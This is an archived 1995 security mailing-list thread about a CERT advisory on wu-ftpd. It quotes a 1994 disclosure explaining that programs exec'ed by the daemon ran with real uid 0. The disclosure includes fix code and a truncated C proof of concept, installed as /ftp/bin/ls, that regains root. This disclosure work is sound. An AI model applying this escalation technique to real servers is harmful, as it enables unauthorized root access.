Subject: Re: CERT Advisory CA-95:16 - wu-ftpd Misconfiguration Vulnerability (fwd)

From: [email-masked] (Michael Pridemore)
Date: Thu, 30 Nov 1995 18:28:26 -0500

>> > Havn't seen this mentioned on the list yet, so enjoy.  (and apologies if
>> > you receive this from multiple sources)
>>
>> [...]
>>
>> Another illustration of how far behind CERT is. That's about 6 months
>> old, at least.
>
>Well, CERT may be far behind, but some of us are even further behind than
>CERT.  I hadn't heard of the problem, and I know MANY people who run linux
>+ wu-ftpd who haven't heard of it either.  I appreciate the updates.
>
>
>Andy Ellsworth             | "...The wind was not the beginning.  There are
>[email-masked]         | neither beginnings nor endings to the turning of
>Assistant Admin, wuarchive | the Wheel of Time.  But it was _a_ beginning..."
>http://cec.wustl.edu/~are1 |           --The Wheel of Time saga, Robert Jordan

Me too. I don't run Linux but I had this problem on my system...

============================================================================
Michael Pridemore               |       E-mail:  [email-masked]
Strickland & Associates         |       WWW:     http://www.strickland.com
3200 Highlands Parkway          |       Phone:   770/319-7400
Suite 102                       |       Fax:     770/319-0047
Smyrna, GA 30082-3607           |
============================================================================

---

From: Eduard Vopicka <[email-masked]>
Date: Fri, 1 Dec 1995 00:53:32 +0100

On Nov 30,  3:45pm, "Chadwick A. Dubuque" wrote:
} Subject: Re: CERT Advisory CA-95:16 - wu-ftpd Misconfiguration Vulnerabili
} Here's some code to test if you have the vulniberility. Should compile
} statically, which will allow you to put it in any bin (including a chrooted)
} directory. Login as all different types of users you have and test it.
} 
} P.S. This is one of the ways I used to discover the bug in the first place.

}    printf("Dumping UIDs and GIDs...\n\tuid==%d\n\teuid==%d\n",uid,euid);
}    printf("\tgid==%d\n\tegid==%d\n",gid,egid);

}-- End of excerpt from "Chadwick A. Dubuque"

After long thinking, I am publishing *intentionally*truncated* excerpt
from my mail archive. You will find included what I have sent to the
wu-ftpd maintainer in *APRIL*1994*.

And I have seen this ruid-hole exploited (the mechanism was maybe a bit
different than the one described in the CERT advisory) during 1995, so
I have sent similar material to [email-masked], believe sometime in the
mid-1995, but I do not have this e-mail handy due to catastrophic disk
crash. But certainly it has been noted in my e-mail that all programs
exec()ed by wu-ftpd are started with ruid == 0.

I do not have more comments on this topic.

Please excuse my poor English,

Eduard Vopicka

====== Begin included message ======
>From: eda@vse (Eduard Vopicka)
Date: Thu, 21 Apr 1994 12:48:33 +0000
Reply-To: Eduard Vopicka <[email-masked]>
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: #####@########.wustl.edu
Subject: wuftpd 2.4 security - more problems
Status: OR

Hello #####!

TWO SERIOUS SECURITY RELATED BUGS in wuftpd 2.4 found during this night!

*** Please confirm.
*** What about to report this to CERT?

1)	.
	.	World is probably not ready to know about this one :-)
	.
2) Currently, all programs exec()'ed by wuftpd are started with ruid=0,
   euid=pw->pw_uid, rgid=0, egid=pw->pw_gid. Such a program may simply
   become root via seteuid(0); setegid(0) !!!

   The "ruid=0, euid=pw->pw_uid, rgid=0, egid=pw->pw_gid" environment
   is safe for *file* operations, but not for exec()ing anything!!!
	.
	.
	.
   FIX:
   	oldid=geteuid();
        seteuid(0);
	setgid(getegid);
        setuid(oldid);
   before execv(). Or use setreuid()/setregid() solution this is what I am
   using just now:
	.
	.
	.
	setreuid(geteuid(), 0);
	setregid(getegid(), -1);
	setreuid(-1, getuid());
        execv(gargv[0], gargv);
        _exit(1);
	.
	.
	. 
Included is sample /ftp/bin/ls replacement code that demonstrates both
problems. Compile and link, then copy the executable to /ftp/bin/ls,
login as anonymous, then issue "dir my-command". This works very well
also as /bin/ls replacement for real users.

Best regards,

Ed

#include <stdio.h>
#define BS 1024

/* Simple wuftpd bugs demo, 24-Apr-94 by E.V. */
main(argc, argv)
int argc;
char *argv[];
{
    int i;
    char *p;
    char buf[BS];
    FILE *F;
    /*
        Now we have:
	ruid = 0 (!!!)
	euid = pw->pw.uid
        fd 0 = ftp command port (!!!)
    */
    fprintf(stdout, "BEFORE: ruid=%d euid=%d rgid=%d egid=%d\n",
      getuid(), geteuid(), getgid(), getegid());
    seteuid(getuid()); 
    setegid(getgid());
    fprintf(stdout, "AFTER:  ruid=%d euid=%d rgid=%d egid=%d\n",
      getuid(), geteuid(), getgid(), getegid());
    if (geteuid() == 0) fprintf(stdout, "I am ROOT now !!!\n");
    fflush(stdout);
    fprintf(stdout, "COMMAND=");
    for (i=0; i<argc; i++) printf("%s ", argv[i]); printf("\n");
	.
	.
	.
} 
====== End included message ======

-- 
"Eduard Vopicka, Computing Centre, Prague University of Economics,
W. Churchill Square 4, CZ 130 67 Prague 3" <[email-masked]>